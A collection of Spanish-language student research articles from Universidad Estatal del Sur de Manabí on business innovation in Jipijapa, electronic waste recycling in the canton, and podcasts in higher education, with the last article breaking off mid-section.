The jipijapenses entrepreneurs see the need to innovate and give a unique and differentiating feature to their businesses taking advantage of the competition attributing an additional value that generates a wake-up call to the general public. The objective of this research is to analyze the strategies used by entrepreneurs to prosper successfully in business in the city of Jipijapa. In this work the methodology of observation and field analysis was used, in addition to collecting information from existing businesses. Within the results based on the research it was possible to determine that 100% of businesses in general 20% present innovation and creativity in their services in the city. As a conclusion, it was possible to determine in what percentage these businesses tend to innovate.

KEY WORDS: business, creativity, entrepreneurs, innovate

1. INTRODUCCION

Los emprendedores jipijapenses ven la necesidad de innovar, dar una característica singular, diferenciadora a sus negocios sacando ventaja a la competencia atribuyendo un valor adicional que genere un llamado de atención al público en general, tomemos en cuenta que no todas las personas optan por realizar un cambio ni mucho menos arriesgarse por innovar, simplemente por temor al fracaso, esta aptitud genera que los negocios sean algo común y repetitivos en cuanto a la prestación de sus servicios.

Todo buen emprendedor debe de caracterizarse por ser una persona innovadora, creativa, ser optimista, tenaz, generador de ideas, saber priorizar y sobre todo debe de tener la capacidad para adaptarse a los cambios, situaciones y circunstancias que se le presenten, esta es la base de un buen negocio, en los actuales momentos somos partícipes del cambio constante en su mayoría la moda y la cultura, cada uno de estos aspectos es de suma importancia, este es el caso que ocurre en la localidad, muchas de las personas que inician un nuevo negocio toman en cuenta cada una de estas pautas, es decir, realizan un estudio de la competencia por consiguiente evalúan los gustos y preferencias del público adicional a ello ven lo que no existe en el entorno laboral.

Jipijapa, al ser una ciudad pequeña pero importante para la provincia se convierte en un buen punto para generar un nuevo negocio, contar con una universidad da un plus adicional para que un negocio prospere y mucho mejor si es algo que marque la diferencia con respecto a los competidores, obviamente las personas al ser curiosas por naturaleza optan por probar cosas nuevas, es decir, tener nuevas experiencias, en este caso a la prestación de un servicio como, tiendas, restaurantes u organizaciones que fomenten la productividad en base a los gustos de la colectividad.

Esto es muy valorado por la comunidad jipijapence, observar algo nuevo, algo que genere interés, que cautive y que sienta que está siendo tomada en cuenta, al salir a la luz negocios que ofrezcan servicios que se adaptan a los gustos también generara que otras personas opten por realizar cambios y darle un valor adicional a la prestación de sus servicios.

¿Pero qué es lo que impulsa a que las personas realicen cambios a sus negocios?

Esta determinada en diferentes factores que hacen que los negociantes jipijapences opte por algo nuevo en el cual se destacan los siguientes puntos;

- ✓ La continuidad.
- ✓ Falta de servicios o servicios inexistentes.
- ✓ Escases de ofertas.
- ✓ Falta de innovación y creatividad.
- ✓ Precios inaccesibles.

Falta de innovación y creatividad

“Es muy importante la innovación y creatividad en un negocio ¿Por qué?, porque sin creatividad no va a hacer llamativo y el negocio no va atraer tantos clientes debido a la simpleza, La creatividad es lo que diferencia una empresa de otra empresa, lo que la hace única por ende hace avanzar en el negocio a tener éxito.

“La creatividad es una parte fundamental de la innovación, se entiende por innovación a los productos nuevos que tiene un negocio, sacar nuevos productos cada cierto tiempo, si no hay innovación la empresa fracasara y los clientes irán a descubrir nuevos negocios que si lo tengan.”
(admin, 2015)

En la ciudad de Jipijapa no hay muchos negocios creativos e innovadores, pero si hay algunos como es el restaurante Mar de Copas, este restaurante es muy llamativo el colorido que tiene este restaurante hace que atraiga a los clientes, además tiene una variedad de platos a escoger y una buena atención, que no puede faltar en un negocio, otro restaurante es Bamboo Food & Drinks que es muy acogido por los clientes, lo llamativo de este restaurante es la comida que presenta a los clientes la comida Manabita e italiana que ofrece este restaurante a parte de un lugar agradable que tiene.

A diferencia a otras ciudades grandes no presenta mucha innovación y creatividad, si no poca, pero cada día se está avanzando un poco más la ciudad de Jipijapa, creando nuevos negocios creativos e innovadores.

Precios inaccesibles

Para emprender un negocio se tiene que ofrecer un buen producto o servicio, por consiguiente, un precio que sea accesible a todo bolsillo, justo y no sobrepasar un valor superior a la competencia.

Muchos negocios del cantón, Jipijapa tienen precios que no son conforme, y esto hace que los clientes se retiren de dicho lugar y vallan a ciudades más grandes, donde hay un precio accesible al bolsillo de su cliente.

El error de un negocio es eso darle a un producto o servicios precios altos, porque lo que hace es que fracase el negocio, cada cierto tiempo dar a los productos promociones, descuentos ya que las personas buscan lo más económico y bueno con respecto a calidad.

2. MATERIALES Y MÉTODOS

El presente artículo fue realizado con metodología de observación y análisis de campo, además de recolectar información de los negocios existentes en la ciudad de Jipijapa.

Para el desarrollo de la presente investigación se utilizaron los siguientes métodos.

Método histórico-lógico. Se empleó en la búsqueda de los antecedentes del objeto de investigación.

Método inducción-deducción. Este método se utilizó porque partimos de una hipótesis, la misma que estuvo sujeto a comprobación.

Método estadístico-matemático. Este método se empleó en todo el proceso investigativo, con énfasis en la tabulación de los datos obtenidos de la encuesta, y en la elaboración de los cuadros y tablas.

Método de revisión bibliográfica. Con la aplicación de este método se pudo obtener toda la información con respecto al tema de investigación por medio del internet que aporten de manera significativa al proyecto.

3. RESULTADOS Y DISCUSIÓN

En base al análisis y observación realizada se determinó que:

- Del 100% de los negocios en general un 20% presentan innovación y creatividad en sus servicios en la ciudad de Jipijapa.
- El 80% restante no presenta innovación, por ende, se convierten en locales encaminados a lo común.
- Del total de los negocios innovadores de determino que un 80% son locales de comida y están presentando innovación que la diferencia de la competencia ya que toman en cuenta la preferencia de la ciudadanía, o aspectos culturales de la comunidad, como el arte o culturas extranjeras.

Se determinó que existe una gran deficiencia con respecto en la innovación de los negocios al no integrar estrategias diferenciadoras, en su mayoría no todos emprendedores optan por realizar

un cambio ni mucho menos arriesgarse por innovar, sea por falta de conocimiento o ya que muchos realizan un análisis de la competencia empíricamente y en el mayor de los casos simplemente por temor al fracaso, esta aptitud genera que los negocios sean algo común y repetitivos en cuanto a la prestación de sus servicios.

4. CONCLUSIONES

La innovación y la creatividad de las personas que emprenden en la ciudad de jipijapa asegura el éxito en sus negocios, evitando el fracaso laboral, se ven en la necesidad de elaborar un proyecto evaluando cada uno de los factores que se encuentran en la localidad como la competencia, la variedad y calidad de los productos o servicios que estas ofrecen, de esa manera poder mejorar y aportar con un nuevo negocio que lo diferencia de los demás. El optar por el uso de nuevas metodologías mediante el análisis y estudio de mercado fomenta al crecimiento personal del individuo que lo emplea, no solo a nivel personal, sino que también a nivel social.

- Se recolectó información necesaria de las estrategias utilizadas por los emprendedores de la ciudad de jipijapa para luego ser analizada y realizar el presente artículo.
- Se resumió toda la información obtenida de las estrategias utilizadas por los emprendedores de la ciudad de jipijapa.
- Se detalló cada uno de los aspectos analizados de las estrategias utilizadas por los emprendedores de la ciudad de jipijapa.

REFERENCIAS BIBLIOGRÁFICAS

- AlBurquerque, f. (año). Desarrollo Económico Local y Descentralización en América Latina. Revista CEPAL, (82), 157-171.
- AleM, M., eliaS, v., eliaS, J., & ManCino, M. a. (2013), Argentina's Regional Performance: 1970–2010. In J.R. Cuadrado-Roura & P. Aroca (Eds.), Regional Problems and Policies in Latin America,
- BoiSier, S. (1986). La articulación Estado-Región: clave del desarrollo regional. Recuperado de http://repositorio.cepal.org/bitstream/handle/11362/34451/S8500596_es.pdf?sequence=1&isAllowed=y

- CaiCeDo, C. (2008). Políticas e instituciones para el desarrollo económico territorial en América Latina y el Caribe. El caso de Colombia. Desarrollo territorial, (3). Recuperado de <http://www.giz-cepal.cl/files/SDT3.pdf>
- CaPello, r. (2009). La Economía Regional tras cincuenta años: Desarrollos teóricos recientes y desafíos futuros. Investigaciones Regionales, (9), 169-192.
- CuaDraDo, J. (2014). ¿Es tan “nueva” la Nueva Geografía Económica? Sus aportaciones, sus límites y su relación con las políticas. EURE, 40(120), 5-28.
- Cuervo, l. (2000). Ciudad y competitividad: entre las partes y el todo. Territorios, (3), 69-80.
- Cuervo, l. (2003) Evolución reciente de las disparidades económicas territoriales en América
- Gallo, M. (2009). Crecimiento económico y desequilibrios territoriales

BIOGRAFÍA DEL AUTOR

Denisse Carolina Guerrero Indacochea. Estudiante de Séptimo Semestre carrera Ingeniería Computación y Redes. Facultad Ciencias Técnicas. Universidad Estatal del Sur de Manabí.

Miguel Ángel Toala Reyes. Estudiante de Séptimo Semestre carrera Ingeniería Computación y Redes. Facultad Ciencias Técnicas. Universidad Estatal del Sur de Manabí.

Robards Javier Lima Pisco. Docente de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí del Cantón Jipijapa, Manabí, Ecuador.

IMPACTOS AMBIENTALES DE LA BASURA ELECTRÓNICA DEL CANTÓN JIPIJAPA

Stefani Andreina Barreto Ganchozo,

Cinthia Julissa Cevallos Rodríguez,

Chiquito Fienco Andrés Germánico,

Ec. Robards Javier Lima Pisco. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

stefanidivis1@gmail.com,

RESUMEN

En Ecuador, provincia de Manabí, cantón Jipijapa, El reciclaje de la basura electrónica se ha convertido en uno de los muchos problemas que se encuentra en el cantón, el presente trabajo tiene como objetivo identificar la importancia de reciclar de manera correcta todo tipo de dispositivo electrónico, tomar conciencia para evitar el maltrato que esto ocasiona a la salud de los habitantes, donde se aplicaron los métodos, inductivo, deductivo y técnicas de observación en diferentes unidades educativas, instituciones públicas y privadas, Se está avanzando en el reciclaje como parte de la solución, pero actualmente el 90% de los equipos acaban en los vertederos después de haber sido abandonados en la calle o lanzados sin ningún criterio en contenedores que los transportarán. En las últimas décadas y principalmente al inicio del nuevo siglo, se ha incrementado en grandes proporciones la fabricación, el consumo y el diseño de aparatos eléctricos y electrónicos, por la gran cantidad de beneficios y facilidades que ha dado el desarrollo de la humanidad. En los últimos tiempos la basura electrónica ha tenido un crecimiento, por lo tanto, diariamente se producen toneladas de basura por lo que termina siendo desechada en los lugares que no son apropiados ya que estos tipos de residuos pueden poner en riesgo la salud y también se pone en riesgo el medio ambiente, debido a que este tipo de basura electrónica contiene muchos componentes que son peligrosos.

PALABRAS CLAVE: desarrollo, electrónico, tecnología.

ABSTRACT

In Ecuador, province of Manabí, canton Jipijapa, The recycling of electronic waste has become one of the many problems found in the canton, this work aims to identify the importance of recycling correctly all types of devices electronic, take conscience to avoid the mistreatment that this causes to the health of the inhabitants, where the methods were applied, inductive, deductive and observation techniques in different educational units, public and private institutions, It is advancing in the recycling as part of the solution, but currently 90% of the equipment ends up in landfills after being abandoned on the street or thrown without any criteria in containers that will transport them. In the last decades and mainly at the beginning of the new

century, the manufacture, consumption and design of electrical and electronic devices has increased in large proportions, due to the great number of benefits and facilities that the development of humanity has given. In recent times the electronic waste has grown, therefore, tons of garbage are produced daily so it ends up being discarded in places that are not appropriate since these types of waste can put health at risk and also It puts the environment at risk, because this type of electronic waste contains many components that are dangerous.

KEYWORDS: development, electronic, technology.

1. INTRODUCCIÓN

En Ecuador, provincia de Manabí, cantón Jipijapa, El reciclaje de la basura electrónica se ha convertido en unos de los muchos problemas que se encuentra en el cantón. (Hidalgo Aguilera, s.f.) La producción y la utilización de aparatos y equipos electrónicos aumenta de manera acelerada a nivel mundial en todos los ámbitos en los que se desenvuelve el ser humano, de ahí que la industria electrónica y principalmente la de producción de aparatos constituye actualmente el sector de mayor crecimiento en los países desarrollados.

Para nadie es desconocido los grandes beneficios que se obtienen en la utilización de estos aparatos electrónicos, pues constituyen no solo el desarrollo científico, tecnológico e industrial de una sociedad, sino que además le brindan comodidad y seguridad.

Pero, así como el aumento del consumo de los aparatos electrónicos ha sido vertiginoso a nivel mundial, así también se ha ido aumentando la producción de desechos de productos ocasionado por la situación o eliminación paradójicamente para el desarrollo del mismo.

Ya sean considerados desecho, como basura, como chatarra o como desperdicio, ya es motivo de preocupación su manejo adecuado de manera amigable con el ambiente y segura para los manipuladores de las mismas.

Actualmente uno de los principales y graves problemas en el desarrollo del tipo de basura, porque la mayoría de los aparatos electrónicos contiene elementos tóxicos que al no ser adecuadamente gestionados o tratados en su eliminación producen grandes daños al medio ambiente afectando por lo tanto a todos sus componentes y particularmente al ser humano.

OBJETIVOS

OBJETIVO GENERAL

Identificar la importancia de reciclar de manera correcta todo tipo de dispositivo electrónico.

OBJETIVOS ESPECÍFICOS

- Analizar los efectos de la contaminación provocada por la basura electrónica, sobre la salud de los seres humanos.
- Efectuar un análisis sobre el tema basura electrónica.
- Determinar las soluciones que han generado las empresas en la actualidad.

IMPORTANCIA DE RECICLAR COMPUTADORES

Una computadora "vieja" puede ser la primera para otra persona. O contener piezas útiles para poner en condiciones una PC que está fallando. Si ya no tiene arreglo, valen sus materiales, que pueden reciclarse. Y los que no, constituyen **residuos potencialmente peligrosos**. Para reducirlos al mínimo y aprovechar al máximo lo que sirve, es que hoy y mañana se realizará la campaña de recolección "La electrónica también se recicla".

La organiza la Dirección de Residuos Peligrosos de la Secretaría de Ambiente y Desarrollo Sustentable de la Nación (SAyDS). En esta iniciativa se ha asociado con el Gobierno de la Ciudad, las municipalidades de Quilmes y Almirante Brown, y el Organismo Provincial de Desarrollo Sostenible. (Mary, 2011)

✓ ECYCLING

Hay dos métodos principales que se utilizan en el reciclaje de computadoras. Algunos recicladores desmontan manualmente los ordenadores y pelan los metales preciosos, los componentes electrónicos y las partes que aún funcionan de ellos con la intención de vender estos componentes en el mercado secundario. Otros recicladores separan metal, plástico y otros componentes informáticos en amplias categorías y los muelen para que puedan ser vendidos como metal o plástico a granel.

✓ BENEFICIOS AMBIENTALES

Las baterías, fuentes de alimentación y algunos componentes eléctricos contienen sustancias químicas que pueden liberar radiación o toxinas en el suelo si se rompen. El reciclaje de computadoras usadas y rotas impide que estos artículos vayan a parar a los vertederos o se

viertan en terrenos públicos o privados donde se pueden corroer y producirse fugas. Los materiales reciclados también proporcionan materias primas y piezas usadas que pueden reducir la necesidad de algunos procesos de fabricación.

✓ **NORMATIVA LEGAL**

Las leyes sobre reciclaje de productos electrónicos varían de estado a estado. Algunos estados exigen que los fabricantes de equipos informáticos establezcan programas para el reciclaje de sus productos, mientras que otros estados han aprobado leyes que establecen programas de reciclaje controlados o financiados por el estado. Las empresas privadas que reciclen equipos pueden necesitar una licencia de manejo de residuos o desechos del Estado y cumplir con las normas de seguridad y de manejo de materiales, tanto a nivel estatal como federal.

EL IMPACTO DE LA BASURA ELECTRÓNICA

***Figura 1:** Basura electrónica*
Fuente obtenida de: (Gerard , s.f.)

La basura electrónica ha alcanzado tales dimensiones que supone un gravísimo problema para el medio ambiente. Inmersos en plena Era del Big Data, el problema crece de forma imparable. Bastará con dar unas pocas cifras para entender la dramática situación: en los últimos años, en todo el mundo se producen anualmente alrededor de 50 millones de toneladas métricas de basura electrónica, lo que supone 7 kilogramos por persona. Además, según advierte la ONU, para 2017 la cifra aumentará un 33 por ciento. (Gerard , s.f.)

EL PROBLEMA DE LA BASURA ELECTRÓNICA

Televisores, lavadoras, teléfonos móviles, ordenadores... Todos estos dispositivos y objetos contienen elementos químicos muy valiosos, como oro, cobre, platino o paladio en su electrónica. Sin embargo, de los 46 millones de toneladas de residuos electrónicos que tiramos en 2016 según la Unión Internacional de Telecomunicaciones, solo el 20% se recicla.

Michio Kaku estableció cuatro fases para todo producto o servicio, y la tecnología hace tiempo que ha alcanzado la cuarta: es tan asequible que su coste de fabricación es bajo, y por tanto nos creemos con derecho a poder tirarla a voluntad, como ocurre con otros como el papel o el agua.

El bajo coste, así como la obsolescencia tanto en hardware como en software de los distintos componentes, hacen que este tipo de basura haya crecido un 8% en dos años. Además, un marketing agresivo que alienta a tener siempre el último dispositivo ha dado lugar a una obsolescencia más peligrosa todavía, la del deseo, que hace que despachemos objetos funcionales por otros que consideramos mejores y que rara vez necesitamos. (Martinez , 2018)

2. MATERIALES Y MÉTODOS

El presente estudio se desarrolló en el cantón Jipijapa, donde se aplicaron los métodos, inductivo, deductivo y técnicas de observación en diferentes unidades educativas, instituciones públicas y privadas, en las cuales hemos podido verificar el mal uso que se le emplea a la basura electrónica, ya que no conocen el buen manejo del reciclaje de los dispositivos electrónicos.

A través de una recopilación bibliográfica, se busca conocer la situación actual de: los principales aparatos electrónicos que mayormente están siendo utilizados por la humanidad, los tiempos de vida útil o de renovación, su composición e identificación de los elementos peligrosos para el medio ambiente.

3. RESULTADOS Y DISCUSIÓN

La industria de aparatos y equipos eléctricos y electrónicos es una de las de mayor crecimiento en la actualidad, producida por la demanda cada vez más grande en todos los lugares del planeta por las facilidades que prestan en el desenvolvimiento y desarrollo de todas las actividades humanas.

A la par, al ser declarados como elementos inservibles, declaración que cada vez se la hace en períodos de tiempo más cortos, pues esa es la característica de duración que está prevaleciendo en este tipo de aparatos, crece el problema serio de cómo deshacerse de esta de basura, desecho o residuo.

Existen ya consideraciones ambientales por el impacto negativo que están causando y que se acentuaría si no se implementan de manera técnica procesos para fabricarlos, para identificarlos, ubicarlos, recolectarlos, transportarlos, desarmarlos, reutilizar partes con las cuales se pueden elaborar nuevos productos, reciclar componentes, y por último eliminarlos sin contaminar el medio ambiente ni afectar a la salud humana.

Como es lógico para disminuir los efectos del problema, lo ideal sería consumir el mínimo de elementos que resulten tóxicos en cualquier etapa de la existencia del aparato y al mismo tiempo buscar reemplazar estos por elementos más amigables para el ambiente y el ser humano.

De todas maneras, el problema está presente y afectando ya sea de manera directa o indirecta tanto a países industrializados como en vías de desarrollo, por lo que las soluciones tienen que ser integrales, normalizadas y acogidas por la humanidad entera antes de que se convierta en algo irreversible o demasiado costoso su solución o remediación.

Se está avanzando en el reciclaje como parte de la solución, pero actualmente el 90% de los equipos acaban en los vertederos después de haber sido abandonados en la calle o lanzados sin ningún criterio en contenedores que los transportarán.

Vale la pena recalcar que, de este tipo de basura, cerca del 50% es metal que puede ser extraído y reprocesado, el resto es plástico y vidrio que puede seguir el mismo camino y que por lo tanto puede adquirir valor económico, beneficiando a quienes de manera técnica la gestionen.

Por último, es muy importante que en el Cantón Jipijapa se comience a crear conciencia de la generación de este tipo de basura, para que las instancias de poder correspondientes se implementen medidas probadas, que tiendan a disminuir tanto la generación como la gestión antitécnica y desorganizada que trae consigo la contaminación del medio ambiente perjudicando como siempre al ser humano.

4. CONCLUSIONES

- Se logró concientizar a los habitantes del cantón sobre la importancia de reciclar de manera correcta todo tipo de dispositivo electrónico para la conservación del medio ambiente reciclando se puede mejorar mucho la condición de nuestro planeta y tener un estilo de vida mejor.
- Una vez realizado los análisis y efectos que provoca el mal uso sobre el reciclaje de basura electrónica, realizamos charlas a la ciudadanía sobre todos los problemas que origina al medio ambiente, de los cuales se logró concientizar a la ciudadanía de lo que puede pasar y eso es algo bueno para la sociedad y el medio ambiente de ella.
- Una vez realizado nuestro análisis se ayudó a la comunidad a resolver los problemas que provoca la basura electrónica ya que se logró al nivel de la ciudadanía a tomar conciencia sobre los diferentes materiales que perjudican la salud humana.
- Se logró determinar un adecuado tratamiento sobre los desechos sólidos para que así en la actualidad no haya afectaciones y perjudicaciones en lo que es la salud humana y la contaminación ambiental.

REFERENCIAS BIBLIOGRÁFICAS

- Gerard , J. (s.f.). *La industria del reciclaje de computadoras*. Obtenido de La Voz de Houston:
<https://pyme.lavoztx.com/la-industria-del-reciclaje-de-computadoras-5326.html>
- Hidalgo Aguilera, L. (s.f.). *La basura electronica y la contaminacion ambiental*. Obtenido de Pdf:
https://www.researchgate.net/publication/277147221_La_basura_electronica_y_la_contaminacion_ambiental/fulltext/559caa5708ae898ed651fed1/277147221_La_basura_electronica_y_la_contaminacion_ambiental.pdf
- MARTÍNEZ , M. (01 de 02 de 2018). *Basura Electrónica*. Obtenido de Nobbot:
<https://www.nobbot.com/pantallas/donde-reciclar-basura-electronica/>
- Mary, J. y. (03 de 2011). *Importancia de reciclar computadores*. Obtenido de Blog:
<http://reciclajejzmin.blogspot.com/p/importancia-de-reciclar-computadores.html>

Reciclaje de Computadoras. (s.f.). Obtenido de ReciclaJepedia:
<http://www.reciclaJepedia.com/reciclaje-computadoras>.

BIOGRAFÍA DEL AUTOR

Stefani Andreina Barreto Ganchozo, Estudiante de Séptimo Semestre carrera Ingeniería Computación y Redes. Facultad Ciencias Técnicas. Universidad Estatal del Sur de Manabí.

Cinthia Julissa Cevallos Rodríguez, Estudiante de Séptimo Semestre carrera Ingeniería Computación y Redes. Facultad Ciencias Técnicas. Universidad Estatal del Sur de Manabí.

Chiquito Fienco Andrés Germánico, Estudiante de Séptimo Semestre carrera Ingeniería Computación y Redes. Facultad Ciencias Técnicas. Universidad Estatal del Sur de Manabí.

Robards Javier Lima Pisco. Docente de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí del Cantón Jipijapa, Manabí, Ecuador.

USO DE LOS PODCAST EN LA EDUCACIÓN SUPERIOR

Rayan Edén Vera Martínez,

Joel Xavier Pilay León,

Melissa Nicole Barreto Baque,

Lcdo. Ángel Fortunato Bernal Álava. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

rayanvera@hotmail.com,

jpilayleon@gmail.com,

melissabarreto2310@gmail.com

RESUMEN

La digitalización ha cambiado la forma de comunicarnos en todos los ámbitos de la vida pública, por ende, a la forma como se relacionan los actores sociales que hacen vida en la educación, sea para compartir asuntos de gestión administrativas, de investigación, académicas o de extensión que incide en el proceso activo de aprendizaje, los entornos virtuales y la tecnologías utilizadas en el proceso de enseñanza de los estudiantes que facilitan el aprendizaje, también se trabaja con los objetivos planteados desde las diferentes carreras, considerando la herramienta podcast en la integración con la educación y como un medio que permite facilitar y dinamizar el aprendizaje. El docente, en su afán de mantenerse integrado a la era de la digitalización se suministra de un conjunto de herramientas para desarrollar estrategias basadas en el uso de las TIC y que sirvan para facilitar el proceso de aprendizaje de sus estudiantes. El material diseñado para trabajar con los podcasts se puede considerar que didácticamente es una complementariedad a la sesión presencial o incluso algún tipo de trabajo previo como postulan los defensores del modelo flipped classroom (Tourón, Santiago y Díez, 2014, consultado por Santiago. 2015).

PALABRAS CLAVE: complementariedad, enseñanzas, tecnologías

ABSTRACT

Digitization has changed the way we communicate in all areas of public life, therefore, the way in which the social actors who make life in education are related, either to share administrative, academic or extension that affects the active learning process, the virtual. and the technologies used in the process of teaching students that facilitate learning, they also work with the objectives established in the different careers, considering the podcast tool in the integration

with education and as a means to facilitate and stimulate learning. The teacher, in his eagerness to remain integrated to the era of digitalization, has a set of tools to develop strategies based on the use of ICT and that serve to facilitate the learning process of his students. The material designed to work with the podcasts can be considered didactically as a complement to the face-to-face session or even some type of previous work as defenders of the postulate of the inverted classroom model (Tourón, Santiago and Díez, 2014)., consulted by santiago.

KEYWORDS: complementarity, teachings, technologies

1. INTRODUCCIÓN

La entrada al nuevo milenio ha estado caracterizada por un conjunto de transformaciones sociales, económicas, educativas y políticas, entre otras; las cuales han estado influenciadas por desarrollo exponencial de las Tecnologías de la Información y la Comunicación (TIC), se dice que estamos en la era de la comunicación digital. Esto ha influenciado en todas sus estructuras a los sistemas educativos y en especial a los espacios de aprendizajes, porque a través de la digitalización ha cambiado la forma de comunicarnos en todos los ámbitos de la vida pública, por ende, a la forma como se relacionan los actores sociales.

Esto ha obligado a los sistemas educativos a abrir canales y espacios comunicacionales alternativos (WhatsApp, Facebook y Twitter), para comprender y actuar de manera efectiva en el advenimiento de la digitalización en todos los espacios relacionados con el aprendizaje y la enseñanza (Adell, 2000), los cuales tienen que convivir con nuevos códigos (2G, 3G, 4G, 5G, Android, App, Apple, bluetooth, conectividad, dispositivos, fibra óptica, full hd, gadgets, impresión 3D, Inteligencia Artificial, Internet, IoT Solutions World Congress iPhone X ISP Grup LED móvil navidad Orange Realidad virtual y podcast), para poder mantener interacción fluida en una sociedad y un sistema educativo que cada día requiere de más y mejores formas de comunicación en una.

En toda esta oferta de nuevos productos se ofrece un valor agregado de comodidad, rapidez y fiabilidad para el hecho educativo y en especial para los docentes porque facilita el diseño de estrategias didácticas y a los estudiantes porque la suministra alternativas para potenciar su aprendizaje significativo. Una de estas herramientas tiene que ver con la web 2.0 que presenta el podcast para llevar a cabo la administración curricular de forma semipresencial, presencial y a distancia. Esto es lo que motiva el desarrollo de este ensayo, la cual tienen como objetivo

analizar la forma como los docentes pueden hacer uso de los podcasts en el proceso de enseñanza que desarrolla con sus estudiantes.

DESARROLLO

El artículo presenta en una primera fase algunos elementos que requiere el docente para poder integrarse a la era de la digitalización y utilizar las herramientas que ofrecen las tecnologías para desarrollar su praxis docente. Luego se describen la importancia de los entornos virtuales y seguidamente se nombran algunas tecnologías utilizadas en el proceso de enseñanza de los estudiantes que facilitan el aprendizaje de los estudiantes, también se trabaja con los objetos de aprendizajes seguidamente se desarrolla con detenimiento la herramienta podcast en la integración con la educación y como un medio que permite facilitar y dinamizar el aprendizaje. Se describe su funcionamiento y la forma de incorporarlo a la planeación académica, para luego enumerar la forma como se elabora un podcast y finalmente se dan las conclusiones del ensayo. El docente, en su afán de mantenerse integrado a la era de la digitalización se suministra de un conjunto de herramientas para desarrollar estrategias basadas en el uso de las TIC y que sirvan para facilitar el proceso de aprendizaje de sus estudiantes. Hacer uso de las tecnologías le permite a este docente apoyarse en medios que facilitan el uso de manera eficiente de recursos digitales, es por eso que el uso de las computadoras y de la internet como instrumento pedagógico para lograr los fines previstos en la educación es un factor de cambio en la concepción que traen los educadores que va orientado a lograr de manera más significativa los aprendizajes requeridos para el estudiante e incorpora un valor agregado como lo es que logra en el aprendiz fortalecer su formación de manera autónoma y con independencia, dentro y fuera de los establecimientos donde se desarrollan las clases.

En efecto, el uso de las TIC en la enseñanza constituye un recurso mediador del aprendizaje y motivación, además de que mejora la forma de interacción entre los actores educativo se produce de manera colaborativa (Chacón y Pérez, 2011). En el exponencial desarrollo de las tecnologías en el siglo XXI, la internet ha sido aprovechada de manera significativa en la educación y esto ha roto los esquemas estructurados de las aulas de clases para abrir espacio a la generación de lugares que trascienden las paredes de la escuela sin que el estudiante deje de mantener su responsabilidad, autonomía y autorregulación de su aprendizaje.

Ya la internet pasa a ser un instrumento de importancia para el quehacer humano, tanto es así que se requiere en casi todos los espacios donde el ser humano deba estar comunicado, lo que su impacto social lo obliga a transformarse como concepto informático y estático para ser transformado a partir del año 2005 (Stanley, 2007a), por el concepto de la Web 2.0, una Web de segunda generación, donde su principal utilidad es de servir como red «participativa», donde el usuario se empodera de ella, lo que la ha hecho más democrática, y cuya orientación se direcciona en la construcción de comunidades virtuales—networking (Talandis, 2008). Bajo estas características se ajusta a las necesidades académicas de los estudiantes y docentes porque se trabajan los contenidos de manera dinámica, lo que hace que tienen facilidades para promover la creatividad, la interacción es más cercana y se produce en tiempo real, además de promover la colaboración a través de los entornos virtuales que facilitan su desenvolvimiento.

Los entornos virtuales permiten utilizar a los navegadores que utilizan esos servicios de segunda generación, porque a través de estas se integran coordinada y estructuradamente los diferentes elementos que se utilizan en el proceso educativo (cursos, calendarios, materiales digitales, controlar las actividades, hacer seguimiento al estudiante y su evaluación, entre otros). Pueden adecuarse a las necesidades de los usuarios y a la forma como desean interaccionar (Pujota, 2016), esto permite que el docente mejore la forma como se relacionará con sus estudiantes, también como se desarrollar la comunicación, si es a través de correos electrónicos, foros, chat o mensajería instantánea. Pero también puede hacer uso, y con eso obtener más beneficio, de los videos-conferencias o audioconferencias y las pizarras compartidas, también existen los File Transfer Protocol (FTP) y los motores de búsqueda (Gámiz Sánchez, 2009).

Podríamos preguntarnos a partir de las necesidades académicas ¿Qué información puedo tratar en los entornos virtuales? o ¿Cuáles son las unidades de contenidos que podrían ser utilizadas en esos espacios? La respuesta sería “Objetos de aprendizajes”, considerados como entidades, digitales o no que pueden ser utilizadas, reutilizadas durante el aprendizaje apoyado con tecnología” (IEEE, 2001), o “cualquier recurso digital... para apoyar el aprendizaje” (Weley, 2000). Son entidades que facilitan la producción de conocimientos, aprendizajes o enseñanzas, que no necesariamente puede ser considerada una tecnología, sino más bien como una corriente de las ciencias de la computación conocida como orientación a objetos (Coad y Jill, 1993). Los contenidos multimedia, el contenido instruccional, los objetivos de aprendizaje, software

instruccional, personas, organizaciones o eventos referenciados durante el aprendizaje basado en tecnología, son ejemplos de Objetos de aprendizajes.

Una nueva pregunta sería ¿A través de qué medios o recursos podría el docente utilizar los objetos de aprendizajes para lograr lo que académicamente los estudiantes deben aprender? La respuesta sería a través de las plataformas presentadas en la Web 2.0, los sitios networking, wikis, blogs, podcasts u otro, los cuales son medios genuinos, ventajosos y de alta accesibilidad para publicaciones multimedia (Chacón y Pérez, 2011). Estos, facilitan a los estudiantes la generación de sus propios contenidos y le permite la creación de su perfil en línea para que pueda participar en los espacios interactivos para intercambiar información relacionada con esos contenidos, además de que logren reflexionar sobre las cosas que aprende, como lo aprende y para que lo aprende. Lo anterior se puede asociar con las teorías de aprendizaje constructivistas, pues las características de este aprendizaje: activo, reflexivo, intencional, relevante, cooperativo, colaborativo; no choca con el aprendizaje constructivista que se puede hacer con la web 2.0. (Sigüenza Orellana, 2016).

Los podcast son método de distribución de archivos de audio a través de Internet utilizando la sindicación, para la reproducción en dispositivos móviles y computadoras personales (www.wikipedia.org), para la creación y publicación de contenidos, es un término que fue acuñado por primera vez en el 2004, se deriva de la unión de las palabras iPod y broadcasting (retransmitiendo). Son un conjunto de archivos sonoros o audiovisuales que se intercambian por Internet y pueden ser reproducidos en una computadora o en un dispositivo portátil de audio y video digital. (Sigüenza Orellana, 2016). Algunas de sus ventajas se encuentran en que permite difundir contenidos de forma simple, va dirigido a un público específico o bien delimitado (sujeto de aprendizaje) y facilita el intercambio de contenido de forma regular y periódica.

En el entendido de que es un archivo digital o una serie de archivos que pueden ser distribuidos por Internet. Su principal característica es que son archivos sonoros, aunque cada vez con más frecuencia se incluye vídeo (vodcasting o videocast), donde se desarrollan contenidos de programas radiofónicos, música, conversaciones entre distintas personas, conferencias, clases magistrales, etc. (Solano Fernández y Amat Muñoz, s/f). Su uso en educación no ha crecido como se esperaba, a pesar del crecimiento del manejo de los contenidos abiertos. Los podcasts y la Web 2.0 han mostrado su potencial educativo por lo que puede favorecer a los procesos de enseñanza-aprendizaje (Ebner, 2007).

